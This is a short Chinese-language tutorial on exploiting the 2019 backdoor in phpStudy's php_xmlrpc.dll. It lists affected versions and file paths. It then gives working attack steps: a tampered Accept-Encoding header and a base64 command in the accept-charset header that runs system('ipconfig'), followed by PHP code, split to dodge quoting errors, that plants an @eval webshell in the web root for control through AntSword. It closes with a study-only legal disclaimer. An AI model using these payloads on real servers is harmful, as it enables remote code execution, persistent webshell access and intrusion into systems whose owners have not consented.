目录
1 背景
phpstudy是国内第一款php后端开发调试集成软件,其将php、apache、mysql、phpmyadmin等集成在一起一次性安装,使用者无需在配置上面花太多时间。
2019年杭州警方在净网2019行动后发布了phpstudy存在隐藏后门的漏洞
2影响版本
phpstudy2016
--php/php-5.2.17/ext/php_xmlrpc.dll
--php/php-5.4.45/ext/php_xmlrpc.dll
phpstudy2018
--PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
--PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
手工验证:
直接用笔记本打开涉事文件,搜索@eval
3 漏洞验证与利用
3.1验证
访问一个php网址,burpsuite抓包
修改请求头
Accept-Encoding: gzip,deflate
accept-charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
c3lzdGVtKCdpcGNvbmZpZycpOw==利用语句system('ipconfig');的base64编码(注意有分号)
而且Accept-Encoding: gzip,deflate里逗号后的空格去掉才能利用成功
3.2 利用:写入webshell
首先看一下当前所在文件目录,即system('dir')
熟悉phpstudy的人很容易知道,应该把webshell写入在PHPTutorial\WWW\下
我们尝试将<?php @eval($_GET['x']) ?>一次性写入
$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!");
$txt1 = "<?php @eval($_POST['x']) ?>";
fwrite($myfile, $txt1);
fclose($myfile);
发现会失败的,且报双引号错误。但是双引号单独写入,却不会报错。(具体原因可能是虽然写入字符串,但是后门也会执行字符串的php语句??)
所以这个时候应该将webshell分开写入
经过多次尝试(挣扎),发现想要成功写入,必须将$ _ 分开写入,才不会报双引号的错,写入语句改为:
$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!");
$txt1 = "<?php @eval($";
fwrite($myfile, $txt1);
$txt2 = "_POST['x']); ?>";
fwrite($myfile, $txt2);
fclose($myfile);
base64编码,得出payload,手工利用一下
成功上传!!
连接蚁剑就可以为所欲为了
注:仅作学习交流之用,请勿违反《网络安全法》《数据安全法》《关键信息基础设施保护条例》等相关法律条例,恶意利用漏洞带来的一切后果本人概不负责